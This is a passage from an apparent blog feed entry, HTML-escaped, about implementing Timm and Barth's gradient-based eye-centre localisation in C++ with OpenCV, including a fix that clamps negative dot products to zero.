      &lt;span class=&quot;n&quot;&gt;Or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;to get the Y gradient I simply take the X gradient of the transpose matrix and transpose it again(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;computeMatXGradient(eyeROI.t()).t()&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;By replicating his gradient algorithm I was also able to use the same gradient threshold as him. From Dr. Timm:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I remove all gradients that are below this threshold:&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.3 * stdMagnGrad + meanMagnGrad&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;where “stdMagnGrad” and “meanMagnGrad” are the standard deviation and the mean of all gradient magnitudes, i.e. the length of the gradients.;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;the-little-thing-that-he-didnt-mention&quot;&gt;The “Little Thing” that he didn’t mention&lt;/h3&gt;

&lt;p&gt;Because his algorithm in the form he gives in the paper is generalized to all circles he left out one tiny important thing. For me this one line of code made the difference between it working and being terribly innacurate.&lt;/p&gt;

&lt;p&gt;In the equation he gives the dot product of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d&lt;/code&gt; vector and the gradient is taken and then squared. The thing is this makes negative dot products positive.&lt;/p&gt;

&lt;p&gt;Dot products are negative if the vectors are pointing in opposite directions. The gradient function used creates vectors that always point towards the lighter region. Since the iris is darker than the sclera (white part) the vectors of the iris edge always point out. This means that at the center they will be facing in the same direction as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d&lt;/code&gt; vector. &lt;strong&gt;Anything pointing in the opposite direction is irrelevant&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To fix this I added a line of code that turns negative values into zero so they have no effect on the result:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotProduct = std::max(0.0,dotProduct);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After adding this line of code my implementation tracked my eyes excellently and worked exactly as it should.&lt;/p&gt;

&lt;p&gt;#Conclusion&lt;/p&gt;

&lt;p&gt;Dr. Timm’s eye center location algorithm is an excellent simple way to track the pupil, but only if you add a few extra things that he does not talk about in his paper.&lt;/p&gt;

&lt;p&gt;In terms of my eye tracker at the moment this is all I have implemented. I am
still looking into methods of tracking a reference point like eye corner to
accurately judge where the user is looking.&lt;/p&gt;

&lt;p&gt;I am also looking into using deformation of the eye into an oval to
determine the orientation of the iris.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;An eye tracker gives the pixel position of the center of the pupil in an image whereas a gaze tracker determines where the person is looking on the screen. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Timm and Barth. Accurate eye centre localisation by means of gradients. In Proceedings of the Int. Conference on Computer Theory and Applications (VISAPP), volume 1, pages 125-130, Algarve, Portugal, 2011. INSTICC. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
 </entry>
 
 
 
</feed>
